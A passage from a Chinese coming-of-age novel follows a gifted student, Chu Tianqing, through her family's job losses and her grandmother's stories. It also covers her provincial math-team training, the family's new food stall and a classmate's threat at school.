自从楚天青转到这个学校,那些荣耀和辉煌早已远去了。 但他并未开口解释,只是点了一下头。 保安知道纪明川参加了暑期竞赛集训,却不知道纪明川没进省队,还鼓励了他一句:“学习也别太累了啊,劳逸结合,走的时候别忘了带垃圾。” 说完,保安转身快步离开了。 等到脚步声彻底消失,楚天青才从课桌之下钻出来。她长舒一口气,拍了拍膝盖上的灰尘。 她双手扶住了桌沿:“我们收拾一下桌子,早点走吧,我总觉得保安可能还会再回来一趟,他刚才不是已经认出你了吗?他也知道你是哪个班的,万一他给王老师打电话,那就麻烦了。” 纪明川也站了起来:“有道理,赶紧走吧。” 汉堡和炸鸡早就吃完了,橙汁也喝完了,紫菜包饭还剩下半盒,蛋糕也只被咬了一小口。 楚天青迅速把饭盒扣好,拿走了一块蛋糕,另一块推到纪明川面前:“这块给你,可以带回家吃。” 纪明川看着她:“谢谢你送我的礼物。” “那你更喜欢这块蛋糕,”楚天青忍不住问,“还是宋远舟送你的那本词典呢?” 纪明川漫不经心地笑了一声:“正常人都会选蛋糕吧,词典……是不得不看的东西。” 不一会儿,他们二人把桌面收拾得干干净净,一前一后跑出教室,顺着楼梯往下走。 十一长假从明天开始,除了竞赛生之外,几乎所有同学都已经离校了。 今天没有晚自习,教学楼里一片漆黑。 走廊上的应急灯亮着微弱的光芒,他们的脚步声在空寂的楼道里回荡,楚天青走得有些急,脚下一滑,身体一晃,条件反射般地扶了一下纪明川的手臂。 她以为他会下意识躲开,却没想到,他反应极快,伸过来另一只手,轻轻扣住了她的胳膊:“小心点,别摔跤了。” 他的声音低而轻,像夜风一样,拂过她的耳边。 “啊,是得小心点,”楚天青接话道,“我手上还拎着垃圾,要是洒在楼梯上,我们又要在这里做保洁了。” 纪明川叹了口气,放手松开了她,指尖上仍然残留一丝余温,他反倒往旁边走了一步,提醒自己不该逾矩。 走到了一楼,楚天青把垃圾扔进了垃圾桶。教学楼前空无一人,她和纪明川的手里还都拎着一个塑料袋,袋子里装着没吃完的蛋糕和紫菜包饭。 他们在教学楼门口告别对方,各自朝着不同的方向走远了。 整个十一假期,楚天青都在学校认真学习,老师们对她寄予厚望,她也希望自己能够入选国家集训队,闯出亚洲,冲向世界。 假期结束后,楚天青正要参加全省集训,忽然接到了妈妈的电话。她已经有半个月没回过家了,但她每天都会给爸爸妈妈打电话。 这两天,妈妈没接电话,只给她发了短信,说是工作太忙,她也没往别的地方想,只当妈妈和往常一样忙碌。但是,电话接通之后,妈妈告诉她:“宝宝,爸爸妈妈现在没工作了,工厂把我们两个都裁了,你爸准备去工地上干活,妈妈最近也在找工作……” 39 夜市小吃摊 楚天青能猜到,妈妈原本是想瞒着她的,现在给她打电话,恐怕是真的没办法了。 她轻声问:“妈妈,你们是不是很缺钱?” 电话那头沉默了几秒,妈妈才开口说:“你二叔昨天打电话来催债了,咱家欠他们一万块钱,已经还了七千,还剩三千,说好了每个月还一千……这个月还没还上。” 妈妈说话的声音似在轻微颤抖:“你上次不是拿了两万奖学金吗?妈妈就用了你五千……你看看,要不……能不能……再借妈妈三千块?等我找到新活儿,挣了钱肯定还你,先周转一下……” 楚天青的双眼一瞬间涌满了泪水,只能用一种生硬酸涩的语调回答:“妈妈,别着急,无论你要多少钱,我都给,你先拿五千吧,好不好?” 电话里传来一声叹息。 妈妈没答应,也没拒绝,只是沉默着,好像连说话的力气都没有了。 挂断电话后,楚天青迟疑不决,浑身僵硬地站在寝室里。 她想回家探望爸爸妈妈,想知道自己家里的情况怎么样了?妈妈的身体还好吗?那些债主只是打了电话,还是已经上门催债了呢? 混乱的念头在她脑海里翻来覆去,她时而恐惧,时而慌乱,下一瞬间,她又突然冷静下来,心脏也几近麻木了,疲惫到了极致,双手双脚都无法动弹。 她站在书桌旁边,恍惚得像是灵魂出窍了一般,反而生不出半点恐惧了。 她已经将近半个月没回过家了。 这半个月里,她一直在拼命学习,为全国决赛做准备。段老师也劝过她,适当休息半天,不会耽误她的课业。 于是,周五下午放学后,楚天青向老师请了半天假。 她收拾好书包,从学校出发,准备回家。 临走前,她还特意去了食堂,打包了两份紫菜包饭和三个牛肉馅饼。 食堂的东西已经算是很好吃的了。她记得,爸爸妈妈平时舍不得买这种现成的美食,总说麻烦、浪费钱,也不知道爸爸妈妈最近有没有好好吃饭? 楚天青提着饭盒,走向公交站,坐上了回家的车。 夜色微凉,她把窗户开了一条细缝,冷冽的空气涌入车厢里,风从耳边拂过,吹乱了她的头发,她也没去整理,只是低着头,看着膝上的塑料袋,心里一遍遍猜想着父母最近的生活。 爸爸妈妈的身体还好吗? 妈妈还在到处找工作吗? 家里欠的钱……还差多少? 公交车缓缓驶入站台,楚天青提着饭盒下了车,在路上小跑起来。风扑在脸上,她气喘吁吁,反倒越跑越快,跑到了自家楼下,她才停下来。 她仰头望去,家里的灯还亮着。 她拿出手机,打开手电,光柱照亮了前方台阶。 楼道里还是像她记忆中一样黑暗,墙皮斑驳,光线昏黄,她一点也不害怕,只是一步一步往上走。 塑料袋在手里摇晃,指尖被勒出一条红痕。 她走到家门口,把钥匙插进锁孔,轻轻一转,门打开了。 室内灯光流淌出来。 她一抬头,就看见外婆正坐在客厅一把椅子上。 如今已是十月中旬,正值中秋时节,天气早已冷了下来。家里没有空调,也没有暖气,窗外是萧瑟秋风,室内墙壁似乎能渗出森凉的寒意,比空旷的街道更寂静几分。 外婆穿着一件桃红色毛衣,一条深灰色绒裤,脚上是一双黑色布鞋。这些衣服和鞋子,全是她自己一针一线缝制的。 她坐在一把塑料椅上,怀里抱着一团毛线,手里还在缓慢地织着毛衣。 现在已经很少能见到还会织毛衣的人了,外婆也不是非做这些不可,但她的双手总是闲不下来,一定要给自己找点事做。 “外婆?”楚天青十分惊讶,“你怎么来了?” 外婆看起来比从前更瘦了些,面颊微微凹陷下去,脸色蜡黄,皮肤松弛,双眼周围堆满了细碎皱纹,那一条条、一道道的细纹,纵横交错,从眉骨一直延伸到了眼尾,当她笑起来的时候,沟壑显得更深了。 可她还是笑着说:“天青回来了啊,你妈跟我说了家里的事,我就过来看看……你妈还说你这周不回来了,我寻思着,你不回来,我也得看看你爸你妈咋样嘛,我不来帮衬着点也不放心。” 听完外婆的这些话,楚天青忐忑不安,连忙推开了卧室的门,果然,妈妈正躺在床上。 妈妈的风湿病又犯了,手指关节微微肿胀,膝盖和脚踝也有些变形,薄薄的被子遮不住那些凸起的骨节。每一次翻身,她的关节都会隐隐作痛,在阴冷天气里,那种钝痛从骨头里渗出来,没一会儿就会蔓延到全身上下。 妈妈的脸色也不好,憔悴不堪,甚至比外婆更瘦弱些。 妈妈看见楚天青,神色又是惊喜,又是焦急:“宝宝,你怎么回家了啊?妈妈刚才就听见门响了,还想着走过去呢,腿不太好,慢了一步……” “妈妈……”楚天青走过去,坐到了床边,“你……你的腿怎么样了?” 妈妈吃力地把胳膊撑在床单上,坐了起来,语气还是轻描淡写:“唉,这人一上了年纪,身上就会这儿痛、那儿痛,哪有不疼的?能动弹就行了,都是小毛病。人老了,都是这样,没一个例外的。妈妈年纪大了,你还小呢……你别担心,宝宝,你得抓紧学习,高三了,还在搞竞赛呢,别耽误了。” 楚天青低声说:“妈妈,其实你可以把家里的事情都告诉我,我快十八岁了……在我这个年纪,你不是早就在县城打工了吗?” 妈妈一听,急了,语调也提高了:“那不一样!妈妈那时候是没得选,你现在多好的机会,可不能和妈妈学啊!王老师给我打电话的时候都说,没见过比你更聪明的孩子,叫我千万别给你添乱。” 楚天青的眼睛又酸又胀,几乎睁不开了,但她还是挤出了一个笑容:“不是啊,我不是说,我要去打工。我是说,你可以把我当做一个成年人了,有什么事直接告诉我就行,我和你一起商量,还能帮你出主意。” 她看着妈妈的双腿:“现在才十月,离高考还有八个月,还早着呢,你不会给我添乱的……” 妈妈听到这话,脸上的表情更复杂了,嘴角微微颤动,勉强挤出的笑意也带着苦恼。 妈妈伸出手,想摸摸她的额头,或许是因为妈妈看见了自己肿胀变形的关节,又慢慢把手收了回去。 妈妈轻声说:“宝宝,爸爸妈妈已经很过意不去了,跟你借了钱,到现在都没还你,你可千万别再为家里的事操心了。这八个月,咱们一家人一条心,拧成一股绳,帮你一起撑过去。你外婆也来了,她能把妈妈照顾好,你只要在学校安心学习就行。” 楚天青抬起头,打断了她的话:“妈妈,现在你们俩都没工作了,我想申请学校的贫困生补助。老师之前说过,我可以再申请额外补助。” “那可麻烦啊?”妈妈忧心忡忡,“你班上同学会不会知道啊?他们要是知道了,可会在背后说你闲话?” 楚天青反倒笑了起来:“说就说吧,无所谓了。” 楚天青往后一仰,也躺在了床上,怎么也爬不起来似的。她已经精疲力尽了,千斤重担压在身上,无人能替她承担命运的安排。 她闭上双眼,耳边什么声音都没了,只能听见妈妈和外婆的说话声,低低切切,断断续续,不是什么重要的话,都是一些琐碎的、细小的谈论。 过了一会儿,外婆轻轻敲了敲卧室门:“晚饭弄好了,天青带回来的菜,我把它们热了热,装盘子里,还煮了个番茄蛋花汤。” 楚天青睁开双眼,嗓音沙哑:“不等爸爸回来一起吃吗?” 外婆脸上带着笑:“不等了,你爸得晚上九点才回,他们工地上管饭。” 外婆把折叠桌搬进了卧室,摆在床边,又把盘子端了过来,一盆番茄蛋花汤,一盘牛肉馅饼,一盘紫菜包饭,这就是她们一家人的晚餐。 番茄蛋花汤只用了一个西红柿和一个鸡蛋,汤水却不少,颜色清浅,看起来很素净,也很寡淡。 外婆先给楚天青和妈妈各盛了一碗汤,几乎把西红柿和蛋花都舀进去了,而她自己只有小半碗清汤,汤水上漂浮着点点油星。 “外婆,”楚天青轻声说,“我给你挑点蛋花吧。” 外婆抹了一把嘴:“哎,你吃,你吃,我老了,吃不了太油的。” 楚天青又把紫菜包饭夹到了妈妈和外婆的碗里:“这个很好吃的,里面有虾仁和鸡蛋。” 妈妈犹豫了一下,还是接了过来:“宝宝真懂事。” 外婆咬了一口紫菜包饭,眼角余光瞥见楚天青眼睛红肿,显然是才刚刚哭过。 外婆叹了口气,给楚天青夹了一块牛肉馅饼,慢吞吞开口:“这日子啊,又不是过不下去了,这才哪儿到哪儿呢,傻孩子。” 外婆今年七十三了,出生在东北一个偏远的小村子,从小没念过书,也不认字,只会写自己的名字。二十多岁那年,经媒人介绍,外婆远嫁到了本省农村,跟着生产队干活,努力挣工分。 那时候交通不便,消息闭塞,一桩婚事就是一辈子的归宿。外婆嫁过来之后,没再回过东北,也没再识过字,只会干活、做衣裳、种菜养鸡。后来村里人都不做衣裳了,她还是闲不下来,翻地、种菜、喂鸡、腌咸菜,总得找点事做,总得把日子熬过去。 外婆吃着饭,语调轻松,像在说家常:“只要你还有口饭吃,有地方住,就没啥大不了的。你说,咱家人不赌不闹,也没那些烧钱的臭毛病,钱慢慢攒,总能撑过去。” 她一边咀嚼着紫菜包饭,一边说:“你和你妈啊,就是想太多了,咱还没到那一步呢,先别哭,哭也没用,哭了也是白哭。” 楚天青还是有点委屈:“可是……我真的很担心妈妈的病,家里现在没钱给她治病,我还要参加竞赛和高考,我想带妈妈去北京上海的大医院挂号……” 外婆听了,竟然更随意了:“咱家不是还有我吗?你妈这个病,又不是要命的病,先养一养,亏不到她身上。我生你小姨的时候,下面天天流血,整整流了俩月,绞痛绞痛的……” 妈妈脸色一变,连忙拦住外婆:“妈!她才多大,别跟她说这个!” 外婆甩了甩手臂,把妈妈的手抖开了:“有啥不能说的?孩子大了,啥都懂,你不跟她讲,她也不是不明白。那会儿我那样,村里人都说我活不成了,就村头那个……会认字的张老头,说什么《红楼梦》里有个丫鬟血崩了,过几天就得死。我就不信,偏不信,你看我,七十三了,你爸早没了几年,我不还是好好的吗?” 这明明是一件痛苦的往事,外婆说起了外公的离世、自己年轻时忍受的病痛折磨,还有村里人的闲言碎语,可她说得轻描淡写,像是在讲笑话一样。 楚天青本来是不想笑的,可还是没忍住,嘴角微微地翘了起来。 笑过之后,她又低下头,在心里暗暗忏悔,不该笑的,不该笑的,外婆的人生经历太坎坷了,她怎么能笑出来呢? 外婆却已经注意到了她的表情,自己反倒先乐了:“笑吧,笑吧,你外公他要是还在,也不会怪你。我当年愿意跟他,就是看中他脾气好,实在人,家里的脏活累活,哪样不是他抢着干的?” 楚天青已经吃完了一块牛肉馅饼,填饱了肚子,心情也好了很多。她忍不住问:“外婆,你和外公吵过架吗?” “没吵过,真没吵过,”外婆抿了抿嘴角,“我也没生儿子,就俩姑娘,你妈和你小姨,那时候村里人嘴多坏啊,说我这肚子不中用,家里的田地没人种,都要荒了。可你外公啊,没红过脸,他就说,姑娘好,姑娘聪明。他一辈子都没说过一句难听话。” 一辈子都没说过一句难听话? 楚天青又喝了两口汤,不知道为什么,忽然想起了陆子昂,恰恰是外公的反面,陆子昂一辈子都没说过一句好听话。 楚天青心想,她要像外公外婆一样,把苦日子熬过去,而不是像陆子昂那样,稍有不顺就抱怨个没完。 楚天青快把汤喝完了,肚子饱了,气也顺了。外婆说得没错,只要还有饭吃,有地方住,就还有翻盘的机会。 她抬起头,望着外婆,又想听外婆讲故事了。 那些故事,她小时候就听过无数遍,可是现在,她还想再听一遍。 她问:“外婆,你能不能讲讲你小时候的事?我好想听。” 外婆经历过的苦难,如同往日风烟,风吹过了就散了,并未在她心底扎下根来。外婆的记忆力也很好,七十三岁了,还是耳聪目明的,她忘记的只有痛苦。或许连痛苦也没有忘记,只是把棱角磨成了钝角,不再刺痛人心了。 外婆缓缓地说:“我老家那边,本来就稀罕姑娘,谁家要是生了个姑娘,那是命好。我爸啊,是鄂伦春族的……你没见过,他人又黑、个子又高,啥样的野味都打回家来,山里的日子苦,能填饱肚子都不容易,咱们那会儿哪敢挑挑拣拣?有东西吃就不错了……” 楚天青听得入了神,又问:“外婆,你们家以前养小狗吗?” 外婆咧嘴一笑,脸上的褶子更深了:“养啊,咋不养?家里养了俩,狼狗,鬼精鬼精的,都是在山里跑大的。我小时候就跟着狼狗满山乱跑,捡野果子吃,抓过野兔子,还碰见过野狼……” 这一瞬间,外婆眼里透着点亮光,仿佛回到了山林之中、阳光之下,那些早就被时间推远了的日子里。 外婆喃喃自语:“等你高考完了,你爸妈也都稳当了,我寻思着,想买张车票,回老家看看……” 楚天青怔了怔,张了张嘴,有些话到了嘴边,却没能说出口:“可是……” 外婆看透了她的心思:“是啊,我爸妈都不在了,早就走了,走了得有四五十年了……老家那块儿,只剩山和地,没人记得我是怎么长大的了。” 楚天青摇了摇头:“外婆,你可以跟我讲,你小时候的故事,你这些年来的经历……我不会忘记的,等我以后有了女儿,我会讲给她听,我们都会一直记得的。” 外婆怔了一下,随即笑了,不知怎么就落下了一滴泪,她抬手随意一抹,把泪水擦掉了,又扭头看了妈妈一眼,嘴里还带着笑:“你这女儿,养得真好啊,咱家姑娘都是最好的。” 晚饭吃完了,外婆收拾碗筷去了厨房,楚天青拿起扫把,默默打扫客厅,把地上的灰尘和头发全都扫干净了,还顺便把地板也拖了一遍。 然后,楚天青又去卫生间洗了个澡。冷水泼到身上,她忍不住打了个激灵,实在太冷了,浑身的皮肤都绷紧了,寒意刺入了每一根毛孔里。 俗话说得好,“由俭入奢易,由奢入俭难”,她已经习惯了宿舍浴室里的热水,再也适应不了家里的冷水。 楚天青匆匆洗完,跑回了卧室。妈妈已经从床上站了起来,扶着墙,慢慢走路:“宝宝,妈妈刚和你爸打了电话,今晚我和你爸睡客厅,你和你外婆睡卧室,好不好?” 楚天青点了点头。她还记得自己小时候,也和外婆挤过一张床。那是炎热的夏天,外婆用一把旧蒲扇轻轻给她扇风,把她藏在床上的蚊帐里,风声混着蝉鸣声,响在耳边,没一会儿,她就迷迷糊糊睡着了。 夜里九点多,爸爸还没回家,楚天青已经困得睁不开眼了。她躺到了床上,很快陷入睡梦之中。 深更半夜,她被外婆的呼噜声吵醒了。 那声音持续不停。 楚天青睁开眼,从床上坐起来,抓起桌上的手机,看了一眼时间,现在是凌晨一点二十四分。 楚天青脑子里的神经一抽一抽地疼,心跳好像从胸腔转移到了腹部,胸口压着一块沉甸甸的石头,压得她喘不上来气,她急忙做起了深呼吸,她知道这是焦虑症躯体化的症状之一。 她抱起枕头,悄悄挪到了床的另一侧,又用被子蒙住耳朵,那呼噜声终于离她更远了,却依旧是若有若无的。 她很喜欢外婆。 可她也很讨厌这些噪音。 意识渐渐飘远,半梦半醒间,她隐约记起了郑相宜的妈妈。 那一辆白色的奥迪轿车,那一条光洁圆润的珍珠项链,那一座铺满了七种水果的奶油蛋糕,还有她身上那一股清淡又昂贵的香水味,让人联想到碧波荡漾的水池里盛开的素色荷花。 楚天青突然很羡慕郑相宜。 羡慕她能有那样的妈妈。 冷风透过窗缝吹进来,她浑身发凉,脸颊像是被冰冷的发丝轻轻扫过,原来她自己心里也有鬼。 她也并非问心无愧。 这一念之间,她又记起从前的生活,爸爸妈妈当年在老家经营一个果园,眼看有了一点起色,她却病倒了。 为了她,爸爸妈妈卖掉了果园,放弃了一切,搬家、离乡、治病,重新开始。 到底是她拖累了这个家,还是这个家拖累了她? 谁也算不清了。 她和妈妈,大概一辈子都会互相觉得亏欠。 泪水悄无声息地涌了出来,打湿了枕头。 她没再想下去,哭着哭着,就沉沉睡去了。 次日清晨,楚天青睡到了八点才醒来,客厅里隐约传来说话声。爸爸已经去了工地,她又没看见爸爸。 她穿着拖鞋走出卧室,外婆和妈妈正在轻声谈论着什么。 妈妈看见她,脸上露出一点微笑:“宝宝,早饭做好了,在厨房里,你现在吃吗?” 楚天青点了点头,外婆立即把折叠桌打开,妈妈把饭菜端了过来。 窗外的阳光斜斜地照进屋里,今天的天气回暖了些,妈妈的气色也比昨晚好转了,脸上多了点血色。 楚天青坐下,端起瓷碗,喝了一口白粥。稀粥温热清淡,她夹了些榨菜,放进碗里,慢慢吃着,睡意全消,她渐渐清醒了。 妈妈放低了声音:“昨晚你爸回来以后,我们商量了一下。你爸有个老乡,帮忙打听了一个摊位,在大学城那边,一个月租金一千五……我寻思着,试试看吧,摆个摊子,总比什么都不做要好得多。” 外婆也跟着说:“我也琢磨着,咱们要不就找个铺子,卖麻辣烫,反正我手脚还利索,这点儿活,我也能干。咱们撑个小摊子,勤快点儿,也不至于饿着自个儿。” 说到此处,屋里一阵寂静。 楚天青低头看着碗里温热的白粥,又抬头望着妈妈和外婆。她心里酸得发涩,却还是笑了笑:“可以啊……挺好的,不过,你们也不用那么麻烦吧,我在学校一样能赚钱……” 妈妈摆了摆手:“你在学校赚到的钱,那是你的钱啊,不是爸妈的钱,爸妈也不能总问你要钱,人家都是爸妈给孩子钱,哪有爸妈问孩子要钱的?妈妈心里堵得慌,真堵得慌……” 40 变故 纪明川耐心地等待了一会儿,许月亭果然不再讲话了。 纪明川满意地放下手机:“这个评论区,终于清净了。” 宋远舟顺手打开微信,给楚天青点了一个赞,头也没抬,只说:“你就是这个评论区里最奇怪的人,郑相宜和许月亭都比你正常多了。” 纪明川狐疑地瞥了一眼手机,楚天青也会觉得他行为古怪吗? 他想了想,又萌发了一个新念头。 楚天青已经抵达了省队训练中心。她是省立一中历史上第一个非竞赛班出身,却成功闯入省队的学生。纪明川作为楚天青的同学,又是她的前桌,于情于理,应该再鼓励她一下。 纪明川又把手机拿起来,即兴写了一首七言绝句,特意把楚天青的名字藏了进去:“青山有路向远行,楚水东流同此际。冲天气概上凌霄,展翅一飞万里晴。” 这首诗的格律是“平起平收式”,严格押韵,纪明川仔细检查了一遍,刚想把它发出去,又记起宋远舟刚才说的那句话。 不行,这首诗不能留在评论区,太显眼了,也太……奇怪了。 纪明川果断选择了私聊,把这首诗直接发给了楚天青。 不到两秒,楚天青回复了一个字:“啊?” 楚天青不太明白纪明川是什么意思。她看懂了那首诗里的祝福,但她从没见过纪明川给任何人写诗,想到他抽屉里的《古代汉语词典》和《唐诗宋词鉴赏辞典》,她控制不住地笑出声来。 纪明川立即解释:“祝你一战成名,冲出亚洲。” 楚天青回复了一个笑脸:“只有在全国集训队里名列前茅,才能参加亚洲竞赛。” “你可以做到,”纪明川秒回,“你能走进亚洲赛场,甚至是全球赛场。” 楚天青发给他一串“求求你了”的圆头表情。 纪明川指尖一顿:“求我什么?” 楚天青回答:“啊,这不是求你,是表达我被你感动了,谢谢你!” 纪明川盯着手机屏幕,片刻后,也给她发了一串“求求你了”。 楚天青忍不住又问:“你也被我感动了吗?” “不是,”纪明川竟然说,“我是在求你拿出全部实力,把你的对手全部击败,一个不留。” 楚天青秒回:“收到,尽力!” 校车缓缓驶入了省城最顶尖大学的校区,这所大学在全国排名极高。 楚天青和她的队友们将在这里开启集训生活,他们的住宿被安排在校内的学术交流中心。 省队每年都会在这里集训,数学、物理、化学、生物、信息五大学科齐聚一堂,互相交流、共同进步。对楚天青来说,这是难得的机遇。 校车停稳了,楚天青双手拎起行李,缓步走下车。 她生平第一次踏进大学校园,心跳得怦怦响。她看见了一座月牙形状的现代化图书馆,倒映在一片澄澈湖水之上,远处,碧绿的草坪无限延展,繁茂的大树浓荫密布,很像是她曾在梦中见过,却又觉得遥不可及的世界。 几位大学生从她面前走过,神情坚定,脚步飞快……果然不愧是大学生啊,走路都比别人更快? 她不由自主停下脚步,指尖扣紧了行李箱的拉杆。 她忽然听见一道熟悉的声音:“好了,同学们,跟我走。” 段启言走到了停车场,正站在那一辆校车前。他穿着黑色运动外套和长裤,背着一个双肩包,竟也像是一名大学生。 段启言拍了两下手,特意放慢了语调:“来,都跟上,咱们省队的同学来自全省各地,彼此可能不太熟悉。我先做个自我介绍,我姓段,叫段启言,我是省立一中数学竞赛组的副组长,也是省队数学组的副教练,我毕业于北大数学系,教竞赛差不多也有十年了。” 段启言举起脖子上挂着的工作牌:“同学们把这块牌子挂好,校园卡都拿到了吧?这段时间,你们就在这里训练、吃饭、住宿。如果有什么不方便的,随时联系带队老师,或者直接来找我,别怕麻烦。” 段启言转身走在前方,楚天青拖着行李箱,跟上段启言的脚步。 在这样一所陌生而广阔的大学校园里,遇见熟悉的老师,她心里更有安全感了,紧绷的情绪也悄然松弛下来。 段启言把同学们送到了宿舍楼下,又把上课的教室和注意事项讲清楚了,随后,段启言匆匆赶去了教学楼开会。 楚天青拖着行李箱,随着人群走进了宿舍楼。 这里的宿舍是两人一间,房间宽敞明亮,自带独立卫浴,两张书桌紧邻着窗台,床铺也比省立一中的铺位更大一些。 楚天青十分惊讶,真没想到,这个世界上,竟然还有比省立一中的宿舍更好的地方? 同屋的女生态度温和,性格内敛,是另一所重点高中的竞赛生。 楚天青和她简单打了个招呼,心里又泛起一丝不真实感,从县城初中到省立一中,再到省城大学,她一路走到这里,踏上了一条从未想象过的路。 从今天起,省队集训正式开始。 集训课程安排得极其紧凑,每天早晨八点准时上课,晚上九点才结束,几乎没有一刻是空闲的。 讲义、题集、真题、拓展阅读,厚重的习题册把每一位队友的书桌堆成了小山。 楚天青坐在第一排靠窗的位置。她认真听讲,记笔记的频率比别人更低一些,但她的思考从未停止。 无论是函数分析、数论、组合、还是高等数学拓展题,她一眼就能看懂,一旦动笔,就能写出准确的答案。 楚天青很快喜欢上了在大学校园里集训的生活,最主要的原因是,食堂的饭菜实在太好吃了。 短短三周时间,她把食堂最受欢迎的美食都吃了个遍,牛肉煲仔饭、笋干炖鸭煲、广式叉烧饭、铁板鱿鱼,甚至是金枪鱼拌饭,她全都尝过了。 她从来不剩一粒米,总是把餐盘吃得干干净净。 集训期间,她不需要自掏腰包,餐费也是由省立一中统一报销的,这让她第一次能毫无顾虑地放开了吃,每一顿饭都吃得饱饱的。她心里充满了幸福感,好喜欢大学食堂啊。 竞赛训练虽然紧张,她却过得轻松自在。 楚天青和队友们相处得非常融洽,无论是谁向她请教题目,她从不藏私,哪怕是最难的压轴题,她都愿意拆解思路,讲到对方听懂为止。她甚至会主动拓展题型,帮助同学提升思维高度。 因此她在省队很受欢迎,大家也都叫她“青神”。 长达三周的集训,竟然一眨眼就过完了。 校车又把楚天青送到了省立一中,楚天青也回到了熟悉的校园。 当天晚上,楚天青正在宿舍里收拾衣服和书本,手机屏幕忽然亮起,她接到了妈妈打来的电话。 “宝宝,”妈妈的声音洋溢着喜气,“妈妈和你外婆把摊位定下来了,就是咱们原来说的那个大学城里的摊位,卖麻辣烫和手擀面,昨天刚开张,生意挺好的!你别担心家里了,安心搞你的竞赛吧。” 楚天青更开心了:“太好了,妈妈!那你身体怎么样,还有外婆呢?你们俩还好吗?” 妈妈也笑了:“妈妈心情一好起来,腿也不疼了,药也舍得吃了。你外婆身体也好着呢,咱家的小吃做得干干净净,材料都是实打实的,顾客吃得放心,还说味道好。我们午饭和晚饭也都是吃自己做的,省钱,心里还踏实。” 说到这里,电话那头传来外婆的声音:“天青啊,你这个竞赛有多难啊?你可别太辛苦了,早点休息!” 楚天青抬起头,宿舍的窗帘仍未关上,窗外的夜空辽阔苍茫,远处教学楼的灯光还亮着,也不知道为什么,突然想起了纪明川送她的那首诗,“冲天气概上凌霄,展翅一飞万里晴”。 她的心情比平时更平静得多了,轻声说:“妈妈,等我考完,我也想去帮你们一起卖麻辣烫……” 妈妈急忙打断她的话:“哎呀,宝宝,你可别瞎说了,你还要去北京上大学呢!妈妈会把你的学费、生活费都挣出来,早早给你准备好。” 楚天青低低应了一声:“嗯,好的。” 电话里人声鼎沸,热闹极了。楚天青听见有人在喊:“老板,麻烦来一碗麻辣烫,要豆腐、红薯粉、白菜、鱼丸,再来一碗手擀面!” 妈妈吆喝一声:“来了来了,稍等一下啊!” 锅铲“砰”地敲到了锅盖上,外婆在一旁念叨着:“你快过来搭把手,我一个人忙不过来了。” 妈妈又说了一句:“宝宝,先这样啊……宝宝乖,有事就给妈妈打电话。” 随即匆匆挂断了电话。 家里的生意才刚起步,进展却是出乎意料地顺利。楚天青心里十分高兴,这一晚,她也睡了一个安稳觉。 次日清晨,楚天青和郑相宜、顾思安一起在食堂吃过早饭,照常走向高三(十七)班的教室。 路过教学楼下的光荣榜时,楚天青抬头一看,纪明川的名字赫然挂在年级第一的位置上。 如今已是十一月初,由于楚天青参加了省队竞赛集训,错过了十月的月考,纪明川又考到了年级第一,怪不得,班上同学又开始叫他“明神”了。 楚天青记得,前天晚上,纪明川家里养的一盆梅花树开花了。 纪明川拍了一张照片发在朋友圈里,底下的评论零零散散,只有三四条,每个人都在说:“明神真会养花啊。” 不过,等到十一月的月考结束后,楚天青再次夺取年级第一的位置,纪明川又要重新接受现实了。 经过这三周的竞赛集训,楚天青感觉自己的实力又提高了不少。区区月考,根本就不可能难住她了。 楚天青脚步轻快,跑向高三(十七)班的教室,秋日晨风微凉,吹在脸上,却不觉得冷。 这一路上,郑相宜和顾思安也在说笑。顾思安讲了一个笑话,逗得郑相宜开怀大笑,脸颊都微微泛红了。 顾思安抓了一下郑相宜的发尾,郑相宜笑着跑开了。顾思安和楚天青在后面追她,三人嬉闹着,从楼梯口跑了出来。 楚天青一抬头,就看见陆子昂站在走廊上,正在慢慢拖地。 陆子昂听见了她们的笑声,第一反应是想抬手拦住郑相宜,可她跑得太快了,就像一阵疾风从走廊上扫过,陆子昂也没和她说上一句话。 顾思安跟着冲了过去,从陆子昂身旁经过时,她毫不掩饰自己的不耐烦:“你能不能别老烦她?你有完没完?” 隔壁十八班的几个同学也在做值日。他们嬉笑着投来目光,显然是在讽刺陆子昂。 陆子昂的手指僵住了,脸色立即沉了下来,憋了满满一肚子的怒火。 楚天青落在最后。她本想悄悄绕开陆子昂,偏偏陆子昂的拖把横在她面前,拦住了她的去路。 陆子昂声音低哑:“你那个省队集训结束了?” “对啊,”楚天青挺直了腰杆,“麻烦你让一下,我要进教室。” 陆子昂嘴角一勾,扯出一抹笑:“怎么,你也这么狂了?进了省队了不起了,是吧?” 楚天青知道陆子昂想把火气撒到自己头上。她心里一阵烦闷,冷声道:“关你什么事?让开,别挡我的路!” 陆子昂的眼神阴冷了几分,提起拖把,狠狠敲了敲地面:“你现在就和我道歉,说一句‘对不起’,我就当什么都没发生过,不然……” 他眯起眼睛,嗓音低沉,像是从牙缝里挤出来的:“我一定会让你后悔,听清楚了吗?” “你有病吧?”楚天青真的生气了,“你为什么总是威胁别人?就算真要道歉,那也是你应该向我道歉!” 陆子昂移开了拖把,后背靠在栏杆上,半点不恼,反而露出一个似笑非笑的表情。他抬手指了指她,像在指挥一场游戏:“好啊,你给我等着。” 风从楼道里灌进来,吹得人脊背发凉。陆子昂轻轻笑了一声:“你说我有病?到底是谁真有病啊?” 楚天青的脸色瞬间变了。她指尖一阵发麻,心跳也加快了许多,却倔强地没有低头。 她不想再和他浪费口舌,转身跑进了十七班的教室。 这一整天,楚天青心神不宁。但她没有把陆子昂的威胁告诉任何人。 妈妈和外婆正在小吃摊上忙碌,爸爸在工地上加班赶工,王老师曾经提醒过她,尽量避免与陆子昂正面冲突,段老师还在尽心尽力为竞赛生出题、讲题……郑相宜、顾思安和她一样,都只是高三年级的学生而已。 她能告诉谁呢? 当晚,回到寝室后,郑相宜去洗澡了,顾思安去洗衣服了,寝室里只剩下陈曼和楚天青两个人。 楚天青犹豫了很久,才轻声问:“陈曼……我,我有个问题,你能不能帮帮我?” 陈曼坐在书桌前,并未回头,只随意说了句:“你讲吧。” 陈曼没有流露出任何情绪,甚至没有一丝好奇。 楚天青站在陈曼背后,双手绞着衣袖:“陆子昂今天早晨……他说、他说让我和他道歉,不然就会让我后悔,我没道歉,我把他激怒了……” 说到这里,她声音轻得快要听不见了:“我有点害怕。” 陈曼却说:“我要是你,我就不怕。” 她靠在椅背上:“陆子昂能做的,不过是恶心你一下,不会真把你怎么样……” 楚天青没听懂:“为什么?” “很简单的道理,他威胁你,那他自己也惹上了麻烦,”陈曼轻描淡写地说,“你只要把你该做的事情都做好,这就行了,其他的事,和你没关系,你都不用管了。” 41 冲击 